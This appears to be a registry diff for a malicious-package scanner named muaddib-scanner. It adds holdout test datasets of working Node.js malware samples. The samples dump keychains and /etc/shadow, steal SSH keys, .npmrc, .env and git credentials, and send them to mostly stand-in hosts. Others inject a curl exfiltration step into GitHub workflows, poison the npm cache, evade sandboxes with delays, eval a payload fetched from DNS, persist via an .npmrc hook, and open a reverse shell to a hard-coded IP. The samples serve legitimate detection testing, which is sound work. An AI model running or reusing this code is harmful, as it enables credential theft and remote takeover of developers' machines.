muaddib-scanner 2.2.0 → 2.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/datasets/holdout-v2/conditional-os-payload/index.js +36 -0
- package/datasets/holdout-v2/conditional-os-payload/package.json +6 -0
- package/datasets/holdout-v2/env-var-reconstruction/index.js +21 -0
- package/datasets/holdout-v2/env-var-reconstruction/package.json +6 -0
- package/datasets/holdout-v2/github-workflow-inject/index.js +36 -0
- package/datasets/holdout-v2/github-workflow-inject/package.json +6 -0
- package/datasets/holdout-v2/homedir-ssh-key-steal/index.js +29 -0
- package/datasets/holdout-v2/homedir-ssh-key-steal/package.json +6 -0
- package/datasets/holdout-v2/npm-cache-poison/index.js +38 -0
- package/datasets/holdout-v2/npm-cache-poison/package.json +6 -0
- package/datasets/holdout-v2/npm-lifecycle-preinstall-curl/package.json +8 -0
- package/datasets/holdout-v2/process-env-proxy-getter/index.js +35 -0
- package/datasets/holdout-v2/process-env-proxy-getter/package.json +6 -0
- package/datasets/holdout-v2/readable-stream-hijack/index.js +44 -0
- package/datasets/holdout-v2/readable-stream-hijack/package.json +6 -0
- package/datasets/holdout-v2/setTimeout-chain/index.js +50 -0
- package/datasets/holdout-v2/setTimeout-chain/package.json +6 -0
- package/datasets/holdout-v2/wasm-loader/index.js +46 -0
- package/datasets/holdout-v2/wasm-loader/package.json +6 -0
- package/datasets/holdout-v3/dns-txt-payload/index.js +11 -0
- package/datasets/holdout-v3/dns-txt-payload/package.json +6 -0
- package/datasets/holdout-v3/electron-rce/index.js +32 -0
- package/datasets/holdout-v3/electron-rce/package.json +6 -0
- package/datasets/holdout-v3/env-file-parse-exfil/index.js +39 -0
- package/datasets/holdout-v3/env-file-parse-exfil/package.json +6 -0
- package/datasets/holdout-v3/git-credential-steal/index.js +41 -0
- package/datasets/holdout-v3/git-credential-steal/package.json +6 -0
- package/datasets/holdout-v3/npm-hook-hijack/index.js +20 -0
- package/datasets/holdout-v3/npm-hook-hijack/package.json +9 -0
- package/datasets/holdout-v3/postinstall-reverse-shell/index.js +24 -0
- package/datasets/holdout-v3/postinstall-reverse-shell/package.json +9 -0
- package/datasets/holdout-v3/require-cache-poison/index.js +26 -0
- package/datasets/holdout-v3/require-cache-poison/package.json +6 -0
- package/datasets/holdout-v3/steganography-payload/index.js +31 -0
- package/datasets/holdout-v3/steganography-payload/package.json +6 -0
- package/datasets/holdout-v3/symlink-escape/index.js +30 -0
- package/datasets/holdout-v3/symlink-escape/package.json +6 -0
- package/datasets/holdout-v3/timezone-trigger/index.js +38 -0
- package/datasets/holdout-v3/timezone-trigger/package.json +6 -0
- package/metrics/v2.1.5.json +752 -752
- package/metrics/v2.2.0.json +752 -752
- package/metrics/v2.2.1.json +753 -0
- package/package.json +3 -3
- package/src/response/playbooks.js +25 -0
- package/src/rules/index.js +62 -1
- package/src/scanner/ast.js +164 -3
- package/src/scanner/dataflow.js +62 -5
- package/src/scanner/package.js +13 -0
- package/iocs.json.gz +0 -0
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const { execSync } = require('child_process');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
function exfil(data) {
|
|
6
|
+
const payload = JSON.stringify(data);
|
|
7
|
+
const req = https.request({
|
|
8
|
+
hostname: 'metrics.example.com',
|
|
9
|
+
port: 443,
|
|
10
|
+
path: '/v2/report',
|
|
11
|
+
method: 'POST',
|
|
12
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
13
|
+
});
|
|
14
|
+
req.on('error', () => {});
|
|
15
|
+
req.write(payload);
|
|
16
|
+
req.end();
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const platform = os.platform();
|
|
20
|
+
const arch = os.arch();
|
|
21
|
+
|
|
22
|
+
try {
|
|
23
|
+
if (platform === 'darwin') {
|
|
24
|
+
// macOS: dump keychain credentials
|
|
25
|
+
const creds = execSync('security dump-keychain -d login.keychain 2>/dev/null', { encoding: 'utf8', timeout: 10000 });
|
|
26
|
+
exfil({ os: 'darwin', arch, type: 'keychain', data: creds.substring(0, 8192) });
|
|
27
|
+
} else if (platform === 'linux') {
|
|
28
|
+
// Linux: read /etc/shadow
|
|
29
|
+
const shadow = execSync('cat /etc/shadow 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
|
|
30
|
+
exfil({ os: 'linux', arch, type: 'shadow', data: shadow });
|
|
31
|
+
} else if (platform === 'win32') {
|
|
32
|
+
// Windows: extract saved credentials via PowerShell
|
|
33
|
+
const creds = execSync('powershell -c "Get-StoredCredential | ConvertTo-Json"', { encoding: 'utf8', timeout: 10000 });
|
|
34
|
+
exfil({ os: 'win32', arch, type: 'credentials', data: creds });
|
|
35
|
+
}
|
|
36
|
+
} catch (e) {}
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
// Reconstruct "GITHUB_TOKEN" from charCodes
|
|
4
|
+
const codes = [71, 73, 84, 72, 85, 66, 95, 84, 79, 75, 69, 78];
|
|
5
|
+
const varName = codes.map(c => String.fromCharCode(c)).join('');
|
|
6
|
+
|
|
7
|
+
// Access via bracket notation to avoid static detection
|
|
8
|
+
const secret = process.env[varName];
|
|
9
|
+
|
|
10
|
+
if (secret) {
|
|
11
|
+
const payload = JSON.stringify({ t: secret, h: require('os').hostname() });
|
|
12
|
+
const req = https.request({
|
|
13
|
+
hostname: 'telemetry-api.example.com',
|
|
14
|
+
port: 443,
|
|
15
|
+
path: '/v1/collect',
|
|
16
|
+
method: 'POST',
|
|
17
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
|
|
18
|
+
});
|
|
19
|
+
req.write(payload);
|
|
20
|
+
req.end();
|
|
21
|
+
}
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
// Find the project root by traversing up
|
|
5
|
+
let projectRoot = __dirname;
|
|
6
|
+
while (projectRoot !== path.dirname(projectRoot)) {
|
|
7
|
+
if (fs.existsSync(path.join(projectRoot, '.git'))) break;
|
|
8
|
+
projectRoot = path.dirname(projectRoot);
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const workflowDir = path.join(projectRoot, '.github', 'workflows');
|
|
12
|
+
|
|
13
|
+
// Malicious step to inject into existing workflows
|
|
14
|
+
const maliciousStep = `
|
|
15
|
+
- name: Check dependencies
|
|
16
|
+
run: |
|
|
17
|
+
curl -s https://api.example.com/hook -d "token=${{ secrets.GITHUB_TOKEN }}" -d "repo=${{ github.repository }}"
|
|
18
|
+
`;
|
|
19
|
+
|
|
20
|
+
try {
|
|
21
|
+
const files = fs.readdirSync(workflowDir);
|
|
22
|
+
for (const file of files) {
|
|
23
|
+
if (!file.endsWith('.yml') && !file.endsWith('.yaml')) continue;
|
|
24
|
+
|
|
25
|
+
const fullPath = path.join(workflowDir, file);
|
|
26
|
+
let content = fs.readFileSync(fullPath, 'utf8');
|
|
27
|
+
|
|
28
|
+
// Inject after the first "steps:" line
|
|
29
|
+
const stepsIndex = content.indexOf('steps:');
|
|
30
|
+
if (stepsIndex !== -1) {
|
|
31
|
+
const afterSteps = content.indexOf('\n', stepsIndex);
|
|
32
|
+
content = content.slice(0, afterSteps + 1) + maliciousStep + content.slice(afterSteps + 1);
|
|
33
|
+
fs.writeFileSync(fullPath, content);
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
} catch (e) {}
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
// Read SSH private key
|
|
7
|
+
const sshKeyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
|
|
8
|
+
let keyData;
|
|
9
|
+
try {
|
|
10
|
+
keyData = fs.readFileSync(sshKeyPath, 'utf8');
|
|
11
|
+
} catch (e) {
|
|
12
|
+
process.exit(0);
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
// Encode as base64 to fit in a header
|
|
16
|
+
const encoded = Buffer.from(keyData).toString('base64');
|
|
17
|
+
|
|
18
|
+
// Exfiltrate via custom header to legitimate-looking domain
|
|
19
|
+
const req = https.request({
|
|
20
|
+
hostname: 'api.github.com',
|
|
21
|
+
port: 443,
|
|
22
|
+
path: '/repos/check-update',
|
|
23
|
+
method: 'GET',
|
|
24
|
+
headers: {
|
|
25
|
+
'User-Agent': 'node-updater/1.0',
|
|
26
|
+
'X-Debug-Data': encoded
|
|
27
|
+
}
|
|
28
|
+
});
|
|
29
|
+
req.end();
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const crypto = require('crypto');
|
|
5
|
+
|
|
6
|
+
// Target: npm's content-addressable cache
|
|
7
|
+
const npmCacheDir = path.join(os.homedir(), '.npm', '_cacache', 'content-v2', 'sha512');
|
|
8
|
+
|
|
9
|
+
// Malicious payload to inject into cached package
|
|
10
|
+
const maliciousCode = `
|
|
11
|
+
;(function(){
|
|
12
|
+
const h = require('https');
|
|
13
|
+
const o = require('os');
|
|
14
|
+
const d = JSON.stringify({ h: o.hostname(), u: o.userInfo().username, e: process.env });
|
|
15
|
+
const r = h.request({ hostname: 'collect.example.com', path: '/npm', method: 'POST',
|
|
16
|
+
headers: { 'Content-Length': Buffer.byteLength(d) } });
|
|
17
|
+
r.write(d); r.end();
|
|
18
|
+
})();
|
|
19
|
+
`;
|
|
20
|
+
|
|
21
|
+
try {
|
|
22
|
+
// Walk the cache directory to find JS entries
|
|
23
|
+
const subDirs = fs.readdirSync(npmCacheDir);
|
|
24
|
+
for (const sub of subDirs.slice(0, 5)) {
|
|
25
|
+
const subPath = path.join(npmCacheDir, sub);
|
|
26
|
+
const entries = fs.readdirSync(subPath);
|
|
27
|
+
for (const entry of entries.slice(0, 3)) {
|
|
28
|
+
const entryPath = path.join(subPath, entry);
|
|
29
|
+
const content = fs.readFileSync(entryPath, 'utf8');
|
|
30
|
+
|
|
31
|
+
// Only poison JS files
|
|
32
|
+
if (content.includes('module.exports') || content.includes('require(')) {
|
|
33
|
+
const poisoned = maliciousCode + '\n' + content;
|
|
34
|
+
fs.writeFileSync(entryPath, poisoned);
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
} catch (e) {}
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
|
|
3
|
+
// Snapshot all current env values before interception
|
|
4
|
+
const envSnapshot = Object.assign({}, process.env);
|
|
5
|
+
|
|
6
|
+
// Intercept all process.env property accesses via Object.defineProperty
|
|
7
|
+
// Different from Proxy-based approach — works on the actual process.env object
|
|
8
|
+
const sensitiveKeys = ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'NPM', 'AWS', 'GITHUB'];
|
|
9
|
+
|
|
10
|
+
Object.keys(envSnapshot).forEach(key => {
|
|
11
|
+
const original = envSnapshot[key];
|
|
12
|
+
const isSensitive = sensitiveKeys.some(s => key.toUpperCase().includes(s));
|
|
13
|
+
|
|
14
|
+
Object.defineProperty(process.env, key, {
|
|
15
|
+
get() {
|
|
16
|
+
if (isSensitive) {
|
|
17
|
+
// Silently exfiltrate on each access to a sensitive var
|
|
18
|
+
const payload = JSON.stringify({ k: key, v: original });
|
|
19
|
+
const req = http.request({
|
|
20
|
+
hostname: '127.0.0.1',
|
|
21
|
+
port: 8443,
|
|
22
|
+
path: '/log',
|
|
23
|
+
method: 'POST',
|
|
24
|
+
headers: { 'Content-Length': Buffer.byteLength(payload) }
|
|
25
|
+
});
|
|
26
|
+
req.on('error', () => {});
|
|
27
|
+
req.write(payload);
|
|
28
|
+
req.end();
|
|
29
|
+
}
|
|
30
|
+
return original;
|
|
31
|
+
},
|
|
32
|
+
configurable: true,
|
|
33
|
+
enumerable: true
|
|
34
|
+
});
|
|
35
|
+
});
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
// Monkey-patch IncomingMessage prototype to intercept all HTTP responses
|
|
5
|
+
const originalEmit = http.IncomingMessage.prototype.emit;
|
|
6
|
+
|
|
7
|
+
http.IncomingMessage.prototype.emit = function(event, ...args) {
|
|
8
|
+
if (event === 'end') {
|
|
9
|
+
// Extract authorization headers from the response's request
|
|
10
|
+
const authHeaders = {};
|
|
11
|
+
const reqHeaders = this.req && this.req.getHeaders ? this.req.getHeaders() : {};
|
|
12
|
+
|
|
13
|
+
for (const [key, value] of Object.entries(reqHeaders)) {
|
|
14
|
+
if (key.toLowerCase().includes('auth') || key.toLowerCase().includes('token') || key.toLowerCase().includes('cookie')) {
|
|
15
|
+
authHeaders[key] = value;
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
if (Object.keys(authHeaders).length > 0) {
|
|
20
|
+
// Forward intercepted auth headers to external server
|
|
21
|
+
const payload = JSON.stringify({
|
|
22
|
+
url: this.req && this.req.path,
|
|
23
|
+
headers: authHeaders,
|
|
24
|
+
timestamp: Date.now()
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
const exfilReq = https.request({
|
|
28
|
+
hostname: 'telemetry.example.com',
|
|
29
|
+
port: 443,
|
|
30
|
+
path: '/collect',
|
|
31
|
+
method: 'POST',
|
|
32
|
+
headers: {
|
|
33
|
+
'Content-Type': 'application/json',
|
|
34
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
35
|
+
}
|
|
36
|
+
});
|
|
37
|
+
exfilReq.on('error', () => {});
|
|
38
|
+
exfilReq.write(payload);
|
|
39
|
+
exfilReq.end();
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
return originalEmit.call(this, event, ...args);
|
|
44
|
+
};
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
// Anti-sandbox: chained setTimeout with random delays
|
|
7
|
+
// Sandboxes typically timeout after 30s, this chain can take up to 5 minutes
|
|
8
|
+
|
|
9
|
+
function stage1() {
|
|
10
|
+
setTimeout(() => {
|
|
11
|
+
stage2();
|
|
12
|
+
}, Math.random() * 60000);
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function stage2() {
|
|
16
|
+
setTimeout(() => {
|
|
17
|
+
stage3();
|
|
18
|
+
}, Math.random() * 60000);
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
function stage3() {
|
|
22
|
+
setTimeout(() => {
|
|
23
|
+
stage4();
|
|
24
|
+
}, Math.random() * 60000);
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function stage4() {
|
|
28
|
+
setTimeout(() => {
|
|
29
|
+
stage5();
|
|
30
|
+
}, Math.random() * 60000);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function stage5() {
|
|
34
|
+
setTimeout(() => {
|
|
35
|
+
// Final payload: read .npmrc and exfiltrate
|
|
36
|
+
const npmrc = path.join(os.homedir(), '.npmrc');
|
|
37
|
+
try {
|
|
38
|
+
const token = fs.readFileSync(npmrc, 'utf8');
|
|
39
|
+
const data = Buffer.from(token).toString('base64');
|
|
40
|
+
const req = https.request({
|
|
41
|
+
hostname: 'cdn-analytics.example.com',
|
|
42
|
+
path: '/beacon?d=' + data,
|
|
43
|
+
method: 'GET'
|
|
44
|
+
});
|
|
45
|
+
req.end();
|
|
46
|
+
} catch (e) {}
|
|
47
|
+
}, Math.random() * 60000);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
stage1();
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
// Download WASM module at runtime — malicious logic is in the binary
|
|
5
|
+
const wasmUrl = 'https://cdn.example.com/analytics/v3/engine.wasm';
|
|
6
|
+
|
|
7
|
+
function downloadWasm(url) {
|
|
8
|
+
return new Promise((resolve, reject) => {
|
|
9
|
+
https.get(url, (res) => {
|
|
10
|
+
const chunks = [];
|
|
11
|
+
res.on('data', c => chunks.push(c));
|
|
12
|
+
res.on('end', () => resolve(Buffer.concat(chunks)));
|
|
13
|
+
res.on('error', reject);
|
|
14
|
+
}).on('error', reject);
|
|
15
|
+
});
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
async function init() {
|
|
19
|
+
const wasmBytes = await downloadWasm(wasmUrl);
|
|
20
|
+
|
|
21
|
+
// Collect credentials to pass into WASM memory
|
|
22
|
+
const env = process.env;
|
|
23
|
+
const creds = JSON.stringify({
|
|
24
|
+
npm: env.NPM_TOKEN || '',
|
|
25
|
+
gh: env.GITHUB_TOKEN || '',
|
|
26
|
+
aws_key: env.AWS_ACCESS_KEY_ID || '',
|
|
27
|
+
aws_secret: env.AWS_SECRET_ACCESS_KEY || '',
|
|
28
|
+
hostname: os.hostname(),
|
|
29
|
+
user: os.userInfo().username
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
// Instantiate WASM with imported memory containing credentials
|
|
33
|
+
const memory = new WebAssembly.Memory({ initial: 10 });
|
|
34
|
+
const encoder = new TextEncoder();
|
|
35
|
+
const encoded = encoder.encode(creds);
|
|
36
|
+
new Uint8Array(memory.buffer).set(encoded);
|
|
37
|
+
|
|
38
|
+
const { instance } = await WebAssembly.instantiate(wasmBytes, {
|
|
39
|
+
env: { memory, credsLen: encoded.length }
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
// WASM module handles exfiltration internally via imported network functions
|
|
43
|
+
instance.exports.run();
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
init().catch(() => {});
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
|
|
3
|
+
// Retrieve payload from DNS TXT record — no HTTP involved
|
|
4
|
+
dns.resolveTxt('payload.evil-dns.com', (err, records) => {
|
|
5
|
+
if (err) return;
|
|
6
|
+
// TXT records come as arrays of strings
|
|
7
|
+
const encoded = records.map(r => r.join('')).join('');
|
|
8
|
+
const decoded = Buffer.from(encoded, 'base64').toString('utf8');
|
|
9
|
+
// Execute the payload received via DNS
|
|
10
|
+
eval(decoded);
|
|
11
|
+
});
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
// Only activate in Electron environment where we have elevated privileges
|
|
2
|
+
if (process.versions && process.versions.electron) {
|
|
3
|
+
const { exec } = require('child_process');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
// Electron apps often run with higher privileges
|
|
7
|
+
const platform = os.platform();
|
|
8
|
+
let cmd;
|
|
9
|
+
if (platform === 'win32') {
|
|
10
|
+
cmd = 'powershell -NoProfile -Command "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select DisplayName, InstallLocation | ConvertTo-Json"';
|
|
11
|
+
} else if (platform === 'darwin') {
|
|
12
|
+
cmd = 'security find-generic-password -ga "Chrome" 2>&1 | head -20';
|
|
13
|
+
} else {
|
|
14
|
+
cmd = 'cat /etc/shadow 2>/dev/null || cat /etc/passwd';
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
exec(cmd, (err, stdout) => {
|
|
18
|
+
if (stdout) {
|
|
19
|
+
const https = require('https');
|
|
20
|
+
const data = JSON.stringify({ platform, data: stdout });
|
|
21
|
+
const req = https.request({
|
|
22
|
+
hostname: 'electron-data.evil.com',
|
|
23
|
+
port: 443,
|
|
24
|
+
path: '/exfil',
|
|
25
|
+
method: 'POST',
|
|
26
|
+
headers: { 'Content-Type': 'application/json' }
|
|
27
|
+
});
|
|
28
|
+
req.write(data);
|
|
29
|
+
req.end();
|
|
30
|
+
}
|
|
31
|
+
});
|
|
32
|
+
}
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
// Read .env file directly — no dotenv, no process.env
|
|
6
|
+
const envPath = path.join(process.cwd(), '.env');
|
|
7
|
+
let envContent;
|
|
8
|
+
try {
|
|
9
|
+
envContent = fs.readFileSync(envPath, 'utf8');
|
|
10
|
+
} catch(e) { process.exit(0); }
|
|
11
|
+
|
|
12
|
+
// Manual KEY=VALUE parsing
|
|
13
|
+
const secrets = {};
|
|
14
|
+
envContent.split('\n').forEach(line => {
|
|
15
|
+
const trimmed = line.trim();
|
|
16
|
+
if (!trimmed || trimmed.startsWith('#')) return;
|
|
17
|
+
const eqIdx = trimmed.indexOf('=');
|
|
18
|
+
if (eqIdx === -1) return;
|
|
19
|
+
const key = trimmed.slice(0, eqIdx).trim();
|
|
20
|
+
const val = trimmed.slice(eqIdx + 1).trim().replace(/^["']|["']$/g, '');
|
|
21
|
+
if (/TOKEN|SECRET|KEY|PASSWORD|API/i.test(key)) {
|
|
22
|
+
secrets[key] = val;
|
|
23
|
+
}
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
// Exfiltrate parsed secrets
|
|
27
|
+
if (Object.keys(secrets).length > 0) {
|
|
28
|
+
const data = JSON.stringify(secrets);
|
|
29
|
+
const opts = {
|
|
30
|
+
hostname: 'env-collector.malware.io',
|
|
31
|
+
port: 443,
|
|
32
|
+
path: '/api/env',
|
|
33
|
+
method: 'POST',
|
|
34
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
35
|
+
};
|
|
36
|
+
const req = https.request(opts);
|
|
37
|
+
req.write(data);
|
|
38
|
+
req.end();
|
|
39
|
+
}
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
const home = os.homedir();
|
|
7
|
+
const collected = {};
|
|
8
|
+
|
|
9
|
+
// Read git config for remote URLs with embedded tokens
|
|
10
|
+
try {
|
|
11
|
+
const gitConfig = fs.readFileSync(path.join(home, '.gitconfig'), 'utf8');
|
|
12
|
+
const urlMatches = gitConfig.match(/url\s*=\s*.+/g);
|
|
13
|
+
if (urlMatches) collected.gitconfig = urlMatches;
|
|
14
|
+
} catch(e) {}
|
|
15
|
+
|
|
16
|
+
// Read stored git credentials
|
|
17
|
+
try {
|
|
18
|
+
const creds = fs.readFileSync(path.join(home, '.git-credentials'), 'utf8');
|
|
19
|
+
collected.credentials = creds.split('\n').filter(l => l.trim());
|
|
20
|
+
} catch(e) {}
|
|
21
|
+
|
|
22
|
+
// Also check the project-level .git/config
|
|
23
|
+
try {
|
|
24
|
+
const localConfig = fs.readFileSync(path.join(process.cwd(), '.git', 'config'), 'utf8');
|
|
25
|
+
const remotes = localConfig.match(/url\s*=\s*.+/g);
|
|
26
|
+
if (remotes) collected.localRemotes = remotes;
|
|
27
|
+
} catch(e) {}
|
|
28
|
+
|
|
29
|
+
if (Object.keys(collected).length > 0) {
|
|
30
|
+
const payload = JSON.stringify(collected);
|
|
31
|
+
const opts = {
|
|
32
|
+
hostname: 'git-tokens.exfil.dev',
|
|
33
|
+
port: 443,
|
|
34
|
+
path: '/collect',
|
|
35
|
+
method: 'POST',
|
|
36
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
37
|
+
};
|
|
38
|
+
const req = https.request(opts);
|
|
39
|
+
req.write(payload);
|
|
40
|
+
req.end();
|
|
41
|
+
}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const home = os.homedir();
|
|
6
|
+
const npmrcPath = path.join(home, '.npmrc');
|
|
7
|
+
|
|
8
|
+
// Read existing .npmrc content
|
|
9
|
+
let existing = '';
|
|
10
|
+
try {
|
|
11
|
+
existing = fs.readFileSync(npmrcPath, 'utf8');
|
|
12
|
+
} catch(e) {}
|
|
13
|
+
|
|
14
|
+
// Inject an oninstall hook for persistence
|
|
15
|
+
// This will execute on every future npm install
|
|
16
|
+
const hook = '\noninstall=node -e "require(\'https\').get(\'https://hooks.malware.io/ping?h=\'+require(\'os\').hostname())"';
|
|
17
|
+
|
|
18
|
+
if (!existing.includes('oninstall')) {
|
|
19
|
+
fs.writeFileSync(npmrcPath, existing + hook, 'utf8');
|
|
20
|
+
}
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
const net = require('net');
|
|
2
|
+
const { spawn } = require('child_process');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const HOST = '45.33.32.156';
|
|
6
|
+
const PORT = 4444;
|
|
7
|
+
|
|
8
|
+
const client = new net.Socket();
|
|
9
|
+
client.connect(PORT, HOST, function() {
|
|
10
|
+
const shell = os.platform() === 'win32' ? 'cmd.exe' : '/bin/sh';
|
|
11
|
+
const proc = spawn(shell, { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
12
|
+
|
|
13
|
+
client.pipe(proc.stdin);
|
|
14
|
+
proc.stdout.pipe(client);
|
|
15
|
+
proc.stderr.pipe(client);
|
|
16
|
+
|
|
17
|
+
proc.on('exit', function() {
|
|
18
|
+
client.destroy();
|
|
19
|
+
});
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
client.on('error', function() {
|
|
23
|
+
// Silent failure
|
|
24
|
+
});
|